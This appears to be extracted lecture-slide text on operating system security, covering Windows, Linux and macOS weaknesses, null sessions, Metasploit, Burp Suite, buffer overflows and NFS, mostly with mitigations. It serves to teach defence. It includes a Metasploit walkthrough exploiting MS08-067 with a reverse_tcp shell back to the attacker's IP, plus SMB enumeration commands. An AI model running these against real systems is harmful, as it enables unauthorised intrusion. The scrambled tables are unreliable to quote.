BCSE410L

Cyber Security
Module 6
Operating System Security

Sneha Leela Jacob

Asst. Professor (Junior)
SCOPE
 OS Vulnerabilities Overview
• OS vulnerabilities are security weaknesses or design flaws in an operating system
that attackers can exploit.
• They may result from misconfigurations, outdated components, or insecure
services.
Why they exist:
• Complexity of modern OS with millions of lines of code.
• Default settings are designed for usability, not always for security.
• Rapidly evolving cyber threats outpacing patch cycles.
Consequences:
• Unauthorised access: Hackers gain control of systems.
• Data breaches: Sensitive information stolen.
• System disruption: Crashes, ransomware attacks, or denial of service.
Importance of addressing vulnerabilities:
• Protects user privacy and organisational data.
• Ensures compliance with security regulations.
• Maintains trust and reliability of digital systems
 Common OS Vulnerabilities
 Default configurations
 Weak user permissions
 Unpatched software
 Insecure services
 OS Vulnerabilities Overview
Vulnerability Description Example Risk Countermeasures
- Easy for
OS and software often - Default admin - Change all default
attackers to
1. Default come with default username/password credentials and ports.-
guess settings
Configurations settings that prioritize (admin:admin) on Disable unused
and gain
usability over security. routers or web panels. services and features.
access.
Users or applications - Follow the Principle
- Running - Malware can
are granted more of Least Privilege
2. Weak User applications as execute
privileges than (PoLP).- Use role-
Permissions administrator when system-level
necessary (e.g., based access control
not needed. changes.
admin/root access). (RBAC).
- WannaCry - Enable automatic
OS and applications are - Remote code
ransomware exploited updates.- Subscribe to
3. Unpatched not updated regularly, execution, data
unpatched SMB security bulletins.-
Software leaving known theft, or
vulnerability in Patch management
vulnerabilities exposed. ransomware.
Windows. tools.
Services like Telnet, or - Unauthorised - Disable unnecessary
4. Insecure SMB are enabled - Exposed FTP server access, brute- services.- Use secure
Services without proper security without encryption. force attacks, alternatives (SSH
configurations. data sniffing. instead of Telnet).
 Platform-Specific Issues
 Windows: Registry misuse, unprotected shares
 Linux: Improper sudo permissions, misconfigured
daemons
 Mac: Gatekeeper bypass, keychain access
weaknesses
 Windows — Registry misuse
• How it happens / how attackers use it:
Attackers add or modify registry keys to persist, change configuration to
weaken protections, or exploit overly-permissive ACLs on keys.
• Malware often uses registry entries for stealthy autorun and persistence.
Impact:
• Persistent malware, unauthorised code running at logon or boot, altered
security behaviour (disabling updates, turning off logging), increased
difficulty of cleanup.

Mitigations/detection:
• Restrict who can write to sensitive hives via Group Policy/registry ACLs.
• Use AppLocker / Windows Defender Application Control to allow only
signed/trusted binaries.
• Monitor registry changes (EDR agents, Windows Event Log — Object
Access / Sysmon).
 Windows — Unprotected shares
How it happens / how attackers use it:
• Misconfigured share permissions (Everyone: FullControl or weak NTFS ACLs) let
attackers read/write files or drop malware; worms can propagate via SMB (lateral
movement).
• Exploits in SMB protocol (old SMBv1) let attackers execute code remotely.

Impact:
• Data theft, ransomware spread, lateral movement inside a network, unauthorized
changes to shared resources.
Mitigations / detection:
• Apply least-privilege: assign shares to specific groups/users, avoid “Everyone”.
• Harden both share permissions and NTFS permissions (share-level + file-level).
• Disable SMBv1, enable SMB signing and SMB encryption where supported.
• Use network segmentation and firewall rules to limit SMB access to needed hosts
only.
• Audit shares (net share, Get-SmbShare) and monitor SMB access logs / unusual file
writes.
 Linux — Improper sudo permissions
How it happens / how attackers use it: overly broad sudo rights let a
compromised user or script run any privileged command without
authentication; attackers escalate privileges to root and fully
compromise systems.
Impact: privilege escalation, full system compromise, easy installation
of backdoors.
Mitigations / detection:
• Follow least-privilege: only allow specific commands (use
Cmnd_Alias) instead of ALL.
• Avoid NOPASSWD unless strictly necessary.
• Use central management (LDAP/AD) and role-based access.
• Log and monitor sudo usage (/var/log/[Link] or journalctl); alert
on unusual sudo patterns.
• Consider two-factor authentication for privileged accounts.
 Linux — Misconfigured daemons
How it happens / how attackers use it:
• Attackers exploit daemons that: listen on wide addresses ([Link]), run as root, or
have default passwords.
• Vulnerabilities in those daemons give remote code execution or info disclosure.
Impact:
• Remote compromise, data leakage, lateral movement, service disruption.

Mitigations / detection:
• Run services as dedicated, unprivileged users; enable least capabilities.
• Configure services to listen only on required interfaces (localhost or internal net).
• Disable unused services; keep packages patched and remove default/demo
accounts.
• Use firewalls and service-specific authentication. Monitor open ports and service
logs.
 Mac — Gatekeeper bypass
How it happens / how attackers use it:
• Attackers may: (a) trick users into allowing an app from “Anywhere”, (b) use
stolen/fraudulent signing certs or notarized bundles, or (c) use shell scripts run from
Terminal to bypass GUI checks. Once bypassed, malware can run with user
privileges.
Impact:
Malware execution, credential theft, persistence, and data exfiltration on macOS
devices.

Mitigations/detection:
• Keep macOS updated (Apple patches Gatekeeper bypasses).
• Enforce Gatekeeper via MDM (prevent “Anywhere” overrides), restrict use of
unsigned apps.
• Use system protections (XProtect, MRT) and EDR for Mac.
• Educate users to avoid running unknown binaries and not to approve prompts
blindly.
 Mac — Keychain access weaknesses
How it happens / how attackers use it:
• Malicious apps request or exploit privileges to read keychain entries; social
engineering can get users to allow access; some attacks abuse keychain sharing
entitlements or poorly configured keychain item ACLs.
Impact:
Theft of passwords, certificates, tokens — leading to account compromise or lateral
access to services.

Mitigations / detection:
• Use strong user passwords and enable FileVault (protects keys at rest).
• Lock keychain on sleep / inactivity; require re-authentication.
• Inspect and limit app entitlements and keychain sharing; only grant keychain access
to trusted apps.
• Monitor for unauthorized access requests and maintain endpoint protection that
alerts on suspicious keychain access patterns.
 Platform-Specific Issues
Platform Vulnerability Description Example Risk Mitigation

Malware creates a run key to

Windows Registry stores Use Group Policy to
auto-start at boot Persistence of
🪟 Registry system and app configs. restrict registry
Windows (HKLM\Software\Microsoft\ malware, privilege
Misuse Malware can modify these [Link] changes with
Windows\CurrentVersion\Ru escalation.
keys. tools like Sysinternals.
n).

Shared folders/drives Open SMB shares accessible Use share-level

🔓 Unprotected Data theft,
accessible without over LAN or WAN permissions, disable guest
Network Shares ransomware spread.
credentials. (\\[Link]\public). access, audit file sharing.

User john can run /bin/bash Enforce least privilege,

🔑 Improper Users in /etc/sudoers file Privilege escalation,
Linux with root without password regularly audit sudoers
Sudo Permissions have excessive privileges. unauthorized access.
(NOPASSWD). configuration.
🪟
Daemons like Apache, Apache exposes /etc Information Harden config files, restrict
Misconfigured
SSH, or cron run with directory via misconfigured leakage, remote access, disable directory
Daemons/Service
weak configurations. [Link]. exploitation. listing.
s

Gatekeeper checks app Only install apps from

A malicious app with a valid Malware execution
🚪 Gatekeeper authenticity. Attackers can trusted developers, monitor
macOS Apple developer signature despite system
Bypass bypass using signed app behavior with tools
runs without prompt. protections.
malware. like BlockBlock.

Use Strong passwords,

🔐 Keychain macOS Keychain stores App asks user to allow Credential theft or
deny unnecessary keychain
Access credentials securely—but access to saved credentials— account
requests, monitor keychain
Weaknesses apps may request access. user unknowingly agrees. compromise.
access logs.
 Null Sessions and Patch Exploits
What Are Null Sessions?
 A Null Session is an unauthenticated connection to the Server Message Block
(SMB) service (Windows File Sharing).
 Normally, SMB requires a valid username and password, but Null Sessions exploit
a feature where anonymous logins (with no credentials) are allowed.
• Even though access is limited, attackers can enumerate sensitive
information such as:
• Usernames and groups (e.g., domain user lists → useful for brute force or
phishing).
• Shares and services running on the system.
• Password policy information (like password length, lockout settings).
• Registry keys in certain cases.
• Machine and domain details.
Mitigation
• Disable Null Sessions in registry and group policies.
• Restrict anonymous access to IPC$ shares and named pipes.
• Harden SMB settings:
– Use SMB signing.
– Disable SMBv1 (very insecure).
• Apply firewalls to limit SMB exposure (only internal networks).
• Monitor logs for suspicious anonymous connections.
 Detecting Null Sessions
 Use tools like enum, NBTscan, SMBclient
 Check for shared resources accessible anonymously
Example
Tool Purpose Info Gathered
Command
SMB enumeration Users, groups, shares, enum4linux
enum4linux
from Windows OS info [Link]
NetBIOS name Hostnames, MACs, nbtscan
nbtscan
scanner domains [Link]/24
Access SMB Browse/download/uploa smbclient //IP/share
smbclient
shares like FTP d to SMB shares -U user or -N
 Exploiting Missing Patches
• Missing patches = known attack surface. Attackers scan for
unpatched CVEs and automate exploits.
• High attacker ROI: small automation cost vs. large potential
payoff → mass exploitation.
• Common attack flow: RCE → credential theft → lateral
movement → data exfiltration.
• Defender actions: maintain inventory, prioritise patches by
exposure & asset value, deploy EDR, enable fast isolation, and
run incident playbooks.
• Tools: Nessus, Metasploit to detect and exploit known CVEs
 Security Tools
Metasploit Framework
 Penetration testing platform used by ethical hackers to test and improve security of
systems.
 Metasploit Framework is a modular, open-source platform that helps security
professionals develop, test, and validate exploits and defensive controls.
 It’s widely used for legitimate penetration testing, red-team exercises, and research
— and, unfortunately, by attackers — so treat it carefully and legally.
 Modules: exploits, payloads, auxiliaries
 Example: Exploit MS08-067 on unpatched Windows
Module Type Purpose Example
MS08-067 (a famous Windows
Exploit Takes advantage of a security flaw
bug)
What runs after the exploit
Payload meterpreter, reverse_shell
succeeds (like a shell)
Used for scanning, fuzzing, or info Port scanner, SMB version
Auxiliary
gathering scanner
Run after gaining access to gather Dump password hashes,
Post
data or escalate privilege escalation
Metasploit Framework
 Metasploit Framework
️ Step-by-step Summary
1. Launch Metasploit: msfconsole
2. Search for exploit: search ms08_067
3. Use the exploit: use
exploit/windows/smb/ms08_067_netapi
4. Set options:
o set RHOST <target IP>
o set PAYLOAD
windows/meterpreter/reverse_tcp
o set LHOST <your IP>
5. Run the attack: exploit
6. If successful, you get a shell on the target!
 Burp Suite
 Burp Suite is a powerful tool that intercepts and analyzes
HTTP/HTTPS traffic between your browser and a
website. It helps find security flaws in web applications.
 Tools: Spider, Intruder, Repeater
🧪 Common Use Cases
 Test login and session management security
 Check form validation and hidden fields
 Bypass authentication by modifying requests
 Detect SQL injection, XSS, etc.
 Burp Suite
Tool Purpose Example Use Case
Capture login request, change
Proxy Intercepts and modifies web traffic
parameters
Automatically maps out website
Spider Find all pages and forms
structure
Automated attack tool for fuzzing or Test for weak passwords, input
Intruder
brute-forcing injection points
Manually edit and resend individual Modify cookie/session ID to test
Repeater
requests auth bypass
Encode/decode data (Base64, URL, Decode encoded GET/POST
Decoder
Hex, etc.) parameters
See how server responds to
Comparer Compare responses to spot changes
normal vs. tampered input
Burp Suite
 Buffer Overflow Attacks
 Buffer Overflow occurs when a program writes more data to a
buffer (a temporary memory storage area) than it can hold. This
can overwrite adjacent memory and potentially allow attackers
to inject and execute malicious code.
 How it works:
 Attackers input oversized data that overflows the buffer.
 The overflow may overwrite function return addresses or
important variables.
 Malicious payloads can be injected and executed, often
leading to control over the system.
 Common Targets:
 C/C++ applications lacking proper bounds checking.
 Legacy applications without memory protection features.
 Network File System (NFS) Attacks
 NFS (Network File System) lets Linux/Unix systems share
directories over a network so remote machines can mount and use
them like local folders.
Why it’s risky (short):
 Misconfigured exports or weak access controls let attackers read,
modify, or write files remotely — which can leak secrets, replace
binaries, or provide a foothold for further compromise
 Countermeasures: Restrict IPs, use no_root_squash carefully,
firewall protection
 Countermeasures
Countermeasure Description Applies To
Prevents execution of code in non-executable
Data Execution Prevention (DEP) Buffer Overflow
memory areas like stack/heap.
Address Space Layout Randomizes memory address space to prevent
Buffer Overflow
Randomization (ASLR) reliable exploit paths.
Inserts a "canary" value to detect stack buffer
Stack Canaries Buffer Overflow
overflow before execution.
Ensures memory operations stay within valid buffer
Bounds Checking Buffer Overflow
limits.
Use secure functions (strncpy, snprintf), or memory-
Safe Programming Practices Buffer Overflow
safe languages.
Enable stack protection and control-flow integrity at
Compiler Security Features Buffer Overflow
compile-time.
Restrict access to NFS shares based on trusted IPs
IP-Based Access Control NFS Attacks
or subnets.
Prevent remote root users from having root access
Avoid no_root_squash NFS Attacks
on NFS server.
Maps root on clients to non-privileged user
Enable root_squash NFS Attacks
(nobody) on server.
Limit access to NFS services using firewalls (e.g.,
Use Firewalls NFS Attacks
iptables, firewalld).
Prefer NFSv4, which includes authentication and
Use Secure NFS Versions NFS Attacks
encryption.
Check logs, file exports, and scan for
Regular Auditing & Monitoring NFS Attacks
misconfigurations regularly.
 Summary
 Stay updated on OS vulnerabilities
 Use tools for auditing and testing
 Apply patches, configurations, and access controls
diligently